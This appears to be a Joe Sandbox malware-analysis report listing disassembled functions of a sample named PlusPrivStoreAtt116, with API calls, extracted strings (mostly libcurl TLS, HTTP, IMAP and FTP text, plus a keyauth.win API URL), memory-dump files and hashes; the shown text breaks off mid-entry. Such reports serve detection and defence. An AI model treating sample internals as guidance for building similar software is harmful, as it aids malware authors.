Function 00007FF6029B2620 Relevance: 28.1, APIs: 9, Strings: 7, Instructions: 134COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF6029B2648
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029B2650

Strings

%s (0x%08X), xrefs: 00007FF6029B26A5
SEC_E_ILLEGAL_MESSAGE (0x%08X) - This error usually occurs when a fatal SSL/TLS alert is received (e.g. handshake failed). More detail may be available in the Windows System event log., xrefs: 00007FF6029B2B59
Unknown error, xrefs: 00007FF6029B2B40
CRYPT_E_REVOKED, xrefs: 00007FF6029B2A82
SEC_I_CONTINUE_NEEDED, xrefs: 00007FF6029B2AAC
%s - %s, xrefs: 00007FF6029B2BA9
No error, xrefs: 00007FF6029B2AA0

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: ErrorLast_errno
String ID: %s (0x%08X)$%s - %s$CRYPT_E_REVOKED$No error$SEC_E_ILLEGAL_MESSAGE (0x%08X) - This error usually occurs when a fatal SSL/TLS alert is received (e.g. handshake failed). More detail may be available in the Windows System event log.$SEC_I_CONTINUE_NEEDED$Unknown error
API String ID: 3939687465-1752685260
Opcode ID: 25adad5ac7b8ccfe19bb9cb406b551687a5dcdd2bcf657889b2ccb51d25d1618
Instruction ID: c5974e0528dc52e29a702fd2a0532fcb2132b36f6153e5561a115b92d9ae9125
Opcode Fuzzy Hash: 25adad5ac7b8ccfe19bb9cb406b551687a5dcdd2bcf657889b2ccb51d25d1618
Instruction Fuzzy Hash: 65519322E0C78285F7628F62A5943BA7BA4FF49B48F604436DE4D82696DFBCE544C710

Function 00007FF6029A5480 Relevance: 26.6, APIs: 14, Strings: 1, Instructions: 364COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A55DE
__std_exception_destroy.VCRUNTIME140 ref: 00007FF6029A560C
__std_exception_destroy.VCRUNTIME140 ref: 00007FF6029A561A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A5654
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A56A5
memset.VCRUNTIME140 ref: 00007FF6029A54D3

Part of subcall function 00007FF6029A4320: memcpy.VCRUNTIME140(7FFFFFFFFFFFFFFF,https://keyauth.win/api/1.2/,-3333333333333333,00007FF6029A1B59), ref: 00007FF6029A4351

Part of subcall function 00007FF6029A6320: memcpy.VCRUNTIME140 ref: 00007FF6029A6496

Part of subcall function 00007FF6029A1FC0: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A2131

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A5812
__std_exception_destroy.VCRUNTIME140 ref: 00007FF6029A583E
__std_exception_destroy.VCRUNTIME140 ref: 00007FF6029A584C
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A5887
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A58DA
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF6029A59C1
?uncaught_exception@std@@YA_NXZ.MSVCP140 ref: 00007FF6029A59D9
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAXXZ.MSVCP140 ref: 00007FF6029A59E6

Strings

value, xrefs: 00007FF6029A5546, 00007FF6029A577E

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$__std_exception_destroy$memcpy$?uncaught_exception@std@@D@std@@@std@@Osfx@?$basic_ostream@U?$char_traits@memset
String ID: value
API String ID: 2102519606-494360628
Opcode ID: 85c86dc14542eb07a4e2cce666541bb6ed81f2a7a3d6649cdfb2e986ccf9b187
Instruction ID: a06827e74ae3b7bc6398bdae1e93c5656f2e63c9228ad080c905885a7ab065f0
Opcode Fuzzy Hash: 85c86dc14542eb07a4e2cce666541bb6ed81f2a7a3d6649cdfb2e986ccf9b187
Instruction Fuzzy Hash: 12F1C822F1878185EB10CB65E4843AD6B60FF457ACF645231EAAD43AEADFBCD185C740

Function 00007FF6029DBAF0 Relevance: 26.5, APIs: 4, Strings: 11, Instructions: 241encryptionCOMMON

Download Yara Rule

APIs

CertEnumCertificatesInStore.CRYPT32 ref: 00007FF6029DBDD7
CertEnumCertificatesInStore.CRYPT32 ref: 00007FF6029DBE47
CertFreeCertificateContext.CRYPT32 ref: 00007FF6029DBE85
CertFreeCertificateContext.CRYPT32 ref: 00007FF6029DBE98

Strings

schannel: failed to retrieve ALPN result, xrefs: 00007FF6029DBC0B
schannel: failed to setup sequence detection, xrefs: 00007FF6029DBB4A
schannel: failed to setup confidentiality, xrefs: 00007FF6029DBB82
schannel: ALPN, server accepted to use %.*s, xrefs: 00007FF6029DBC38
schannel: failed to setup replay detection, xrefs: 00007FF6029DBB66
schannel: failed to store credential handle, xrefs: 00007FF6029DBD3C
schannel: failed to setup memory allocation, xrefs: 00007FF6029DBBA1
http/1.1, xrefs: 00007FF6029DBC4B
ALPN, server did not agree to a protocol, xrefs: 00007FF6029DBC65
schannel: failed to setup stream orientation, xrefs: 00007FF6029DBBC0
schannel: failed to retrieve remote cert context, xrefs: 00007FF6029DBEB7

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: Cert$CertificateCertificatesContextEnumFreeStore
String ID: ALPN, server did not agree to a protocol$http/1.1$schannel: ALPN, server accepted to use %.*s$schannel: failed to retrieve ALPN result$schannel: failed to retrieve remote cert context$schannel: failed to setup confidentiality$schannel: failed to setup memory allocation$schannel: failed to setup replay detection$schannel: failed to setup sequence detection$schannel: failed to setup stream orientation$schannel: failed to store credential handle
API String ID: 2572311694-3353508759
Opcode ID: df49efb58282867fe4246f3edf456b3058b6d8c19a530c5cfbcd38b06cd5e023
Instruction ID: 7470f3ac2a16196fb0ac93a459c08cec7b6a30ec36eb464c999024b486b15b0b
Opcode Fuzzy Hash: df49efb58282867fe4246f3edf456b3058b6d8c19a530c5cfbcd38b06cd5e023
Instruction Fuzzy Hash: ADB1A362A08A8382EB609F26D8603BA6B91FF84B8CF654035DA4DC7796DFBCD445D740

Function 00007FF6029D2310 Relevance: 26.5, APIs: 6, Strings: 9, Instructions: 218stringCOMMON

Download Yara Rule

APIs

strchr.VCRUNTIME140 ref: 00007FF6029D23C8
strchr.VCRUNTIME140 ref: 00007FF6029D23DF
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029D242B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029D25F7
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029D2646
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029D264F

Strings

Authorization:, xrefs: 00007FF6029D2581
Content-Type:, xrefs: 00007FF6029D24CF, 00007FF6029D24F5
1.1, xrefs: 00007FF6029D232B
Connection:, xrefs: 00007FF6029D2541
Cookie:, xrefs: 00007FF6029D259B
Host:, xrefs: 00007FF6029D24A9
Transfer-Encoding:, xrefs: 00007FF6029D2568
Content-Length:, xrefs: 00007FF6029D251B
%s, xrefs: 00007FF6029D25DC

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free$strchr$_strdup
String ID: %s$1.1$Authorization:$Connection:$Content-Length:$Content-Type:$Cookie:$Host:$Transfer-Encoding:
API String ID: 1922034842-2519073162
Opcode ID: f678b0adb032897e825a3959cded84015825f3098b179514a4a53f8d0ccb62c7
Instruction ID: 33bb1802bd52ab9574d53a727add40c7c85b80b5bc8725fc0ef7c928dc8121f8
Opcode Fuzzy Hash: f678b0adb032897e825a3959cded84015825f3098b179514a4a53f8d0ccb62c7
Instruction Fuzzy Hash: E2916E21E0C68785FB61CB1399607B96B90AF55B8CF684032DE4DC7687EEADF941E300

Function 00007FF6029FD910 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 179COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,0000000100000000,?,00007FF6029F063F), ref: 00007FF6029FD93D
_strdup.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,0000000100000000,?,00007FF6029F063F), ref: 00007FF6029FD95F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,0000000100000000,?,00007FF6029F063F), ref: 00007FF6029FD970
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,0000000100000000,?,00007FF6029F063F), ref: 00007FF6029FD99E

Strings

/./, xrefs: 00007FF6029FDA2C
../, xrefs: 00007FF6029FDA09
/.., xrefs: 00007FF6029FDAA2
/../, xrefs: 00007FF6029FDA6B

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free$_strdupmalloc
String ID: ../$/..$/../$/./
API String ID: 111713529-456519384
Opcode ID: 857da92cb3a3f1754f39fc764212752e7e357566b0f0400f53a9762f759e9239
Instruction ID: f4ac832df84c245251defd7c5b97b97583a9a1505f5674b6a797526ceb7797eb
Opcode Fuzzy Hash: 857da92cb3a3f1754f39fc764212752e7e357566b0f0400f53a9762f759e9239
Instruction Fuzzy Hash: 7871FB21F4C78285FBE25F12911027A6FA0AF16BACF244135DE9D876D6DFACE451C321

Function 00007FF6029F8511 Relevance: 24.7, APIs: 6, Strings: 8, Instructions: 165COMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029F8542
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F8A09
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F8A49
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F8A5C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F8BBA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F8BF8

Strings

Signature: %s, xrefs: 00007FF6029F89F7
TRUE, xrefs: 00007FF6029F8534
-----END CERTIFICATE-----, xrefs: 00007FF6029F8B47
Signature, xrefs: 00007FF6029F89DF
-----BEGIN CERTIFICATE-----, xrefs: 00007FF6029F8A9C
%s, xrefs: 00007FF6029F8BE6
Cert, xrefs: 00007FF6029F8BCE
FALSE, xrefs: 00007FF6029F852D

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free$_strdupmalloc
String ID: Signature: %s$%s$-----BEGIN CERTIFICATE-----$-----END CERTIFICATE-----$Cert$FALSE$Signature$TRUE
API String ID: 111713529-3006446216
Opcode ID: 200754a7ecd74751d0d0f218d2af814f9b8d9ce5487ad7d3185f1178ac2759fe
Instruction ID: 8f7d9472f7f244ac4f0f0f3b2014002176f2f7164674d84891b35334b617a1d0
Opcode Fuzzy Hash: 200754a7ecd74751d0d0f218d2af814f9b8d9ce5487ad7d3185f1178ac2759fe
Instruction Fuzzy Hash: 9B71C5A2A4C7C285EBD18B2A90142BA7FA0FF46B4DF784436DA4D83357DEACE145C301

Function 00007FF6029F2580 Relevance: 24.2, APIs: 14, Strings: 2, Instructions: 227COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F2642
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F267A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F268D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F26C1
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F26CC
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F2782
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F278B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F2796
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F2881
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F288A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F2895
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F290B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F2914
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F291F

Part of subcall function 00007FF6029F2D10: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6029F4BFA,?,?,00000000,00007FF6029F1635), ref: 00007FF6029F2D20
Part of subcall function 00007FF6029F2D10: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6029F4BFA,?,?,00000000,00007FF6029F1635), ref: 00007FF6029F2D31
Part of subcall function 00007FF6029F2D10: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,00007FF6029F4BFA,?,?,00000000,00007FF6029F1635), ref: 00007FF6029F2D43

Strings

WDigest, xrefs: 00007FF6029F262C, 00007FF6029F2744
DIGEST-MD5 handshake failure (empty challenge message), xrefs: 00007FF6029F292C

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free$malloc
String ID: DIGEST-MD5 handshake failure (empty challenge message)$WDigest
API String ID: 2190258309-1086287758
Opcode ID: 1779b8da94a52f304d77eab76b8d7191a6ca75d21197fcb052c39a47429940b3
Instruction ID: 19ad8878e6ba46f0f2f208efcd378bf2e5b5f0ad09f10c5d0bf8e402ee24837b
Opcode Fuzzy Hash: 1779b8da94a52f304d77eab76b8d7191a6ca75d21197fcb052c39a47429940b3
Instruction Fuzzy Hash: E2B12D72A08B4686EB908F66E8502AE7BB4FF48B98F600036EE4D87B55DF7CD545C740

Function 00007FF6029F92D0 Relevance: 24.2, APIs: 1, Strings: 15, Instructions: 179COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029F93E3

Strings

RSA Public Key, xrefs: 00007FF6029F93CF
dsa, xrefs: 00007FF6029F9445
rsa(e), xrefs: 00007FF6029F941B
dhpublicnumber, xrefs: 00007FF6029F9506
dsa(pub_key), xrefs: 00007FF6029F94F2
dh(g), xrefs: 00007FF6029F9570
dsa(p), xrefs: 00007FF6029F947D
dsa(q), xrefs: 00007FF6029F94AC
%lu, xrefs: 00007FF6029F93B8
rsaEncryption, xrefs: 00007FF6029F9315
dh(pub_key), xrefs: 00007FF6029F9586
dh(p), xrefs: 00007FF6029F953F
RSA Public Key (%lu bits), xrefs: 00007FF6029F939E
dsa(g), xrefs: 00007FF6029F94DC
rsa(n), xrefs: 00007FF6029F93F0

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free
String ID: RSA Public Key (%lu bits)$%lu$RSA Public Key$dh(g)$dh(p)$dh(pub_key)$dhpublicnumber$dsa$dsa(g)$dsa(p)$dsa(pub_key)$dsa(q)$rsa(e)$rsa(n)$rsaEncryption
API String ID: 1294909896-1220118048
Opcode ID: 1d1110436c56714bc0a77362081bcd18c01486656a23b9c45d484ea6f6e93efa
Instruction ID: a559805dac8e66d04fdae93e7c1b29cc3722ea285e977e97af30103c15206804
Opcode Fuzzy Hash: 1d1110436c56714bc0a77362081bcd18c01486656a23b9c45d484ea6f6e93efa
Instruction Fuzzy Hash: D9716261A4878645FBA4DB53A5402FA2B51FF89B88F644032EE4D9378AEEBCE505C640

Function 00007FF6029EF6AC Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 252COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EF7FD
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029EF84E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EF90A
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029EF918
tolower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029EF970
tolower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029EF97D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EF9FA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EFA0B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EFA71
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EFA7F
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EFACE
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029EFAE6

Strings

%%%02x, xrefs: 00007FF6029EF8B3

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free$_strdupmalloctolower
String ID: %%%02x
API String ID: 1244608590-4020994737
Opcode ID: b8f44fdf09287624069804cbfaa0b43cc3d274ce18ca51c3b5f051757dda9693
Instruction ID: a7d2d884dcdc7bd7b626472e229b7e925a516517fde9f5c7a577c3d2dc5c5cc0
Opcode Fuzzy Hash: b8f44fdf09287624069804cbfaa0b43cc3d274ce18ca51c3b5f051757dda9693
Instruction Fuzzy Hash: B8A1A122A0D68245FF618B2294103792FE0BF55B9CF294472DEDE86AD7FEADE445C310

Function 00007FF6029DD990 Relevance: 22.8, APIs: 1, Strings: 14, Instructions: 321COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140 ref: 00007FF6029DD9E8

Strings

NOOP, xrefs: 00007FF6029DDD2F
STORE, xrefs: 00007FF6029DDC1A
Unexpected continuation response, xrefs: 00007FF6029DDE2E
LSUB, xrefs: 00007FF6029DDCFF
PREA, xrefs: 00007FF6029DDA24
SEARCH, xrefs: 00007FF6029DDAFC, 00007FF6029DDCCF
SELECT, xrefs: 00007FF6029DDC9F
EXPUNGE, xrefs: 00007FF6029DDCE7
FETCH, xrefs: 00007FF6029DDB5C, 00007FF6029DDC72
LIST, xrefs: 00007FF6029DDBCC
CAPABILITY, xrefs: 00007FF6029DDDB0
, xrefs: 00007FF6029DD9F1
UID, xrefs: 00007FF6029DDD17
EXAMINE, xrefs: 00007FF6029DDCB7

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: memcmp
String ID: $CAPABILITY$EXAMINE$EXPUNGE$FETCH$LIST$LSUB$NOOP$PREA$SEARCH$SELECT$STORE$UID$Unexpected continuation response
API String ID: 1475443563-555813803
Opcode ID: 6aacb1f40ce8f6e5703121245ec5c70de1d34ce0d8995388f34ba0fa44fb25ae
Instruction ID: 0f045f163695625995f6125b776a9c62bb3e06913f77f6986e8b745fd761c85c
Opcode Fuzzy Hash: 6aacb1f40ce8f6e5703121245ec5c70de1d34ce0d8995388f34ba0fa44fb25ae
Instruction Fuzzy Hash: 04D19F63E0C24641FF645E26C5443B86E91AF52B9CF649031DA1DCB98BEFECE941E321

Function 00007FF6029D91C0 Relevance: 22.7, APIs: 15, Instructions: 160COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,00000000,?,00007FF6029D9476), ref: 00007FF6029D91DB
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6029D91FB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029D921C
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029D9225

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

Similarity

API ID: free$_strdupmalloc
String ID:
API String ID: 111713529-0
Opcode ID: ae1d98bfd8e04e6bfd092f3e447af08f8539a1ef12be664cab5b6475120f3e2f
Instruction ID: 1ecb0ac762236f865acbccfa65ecf2cb0bf68749342b5e99d5ea251e3c419f3c
Opcode Fuzzy Hash: ae1d98bfd8e04e6bfd092f3e447af08f8539a1ef12be664cab5b6475120f3e2f
Instruction Fuzzy Hash: C4616966A05B4283EB25DF16A45426ABBA4FF88B98B154435DF8E83790EF7CE494D300

Function 00007FF6029E22E0 Relevance: 21.3, APIs: 5, Strings: 9, Instructions: 279COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6029E2400

Strings

server did not report OK, got %d, xrefs: 00007FF6029E266E
ABOR, xrefs: 00007FF6029E24FB
Received only partial file: %I64d bytes, xrefs: 00007FF6029E270E
Remembering we are in dir "%s", xrefs: 00007FF6029E2498
No data was received!, xrefs: 00007FF6029E273C
partial download completed, closing connection, xrefs: 00007FF6029E2633
control connection looks dead, xrefs: 00007FF6029E25F2
Uploaded unaligned file size (%I64d out of %I64d bytes), xrefs: 00007FF6029E26D6
Failure sending ABOR command: %s, xrefs: 00007FF6029E2521

Memory Dump Source

Source File: 00000000.00000002.2631386007.00007FF6029A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6029A0000, based on PE: true

Associated: 00000000.00000002.2631331636.00007FF6029A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631479271.00007FF602A02000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631509215.00007FF602A19000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2631566516.00007FF602A1F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6029a0000_PlusPrivStoreAtt116.jbxd

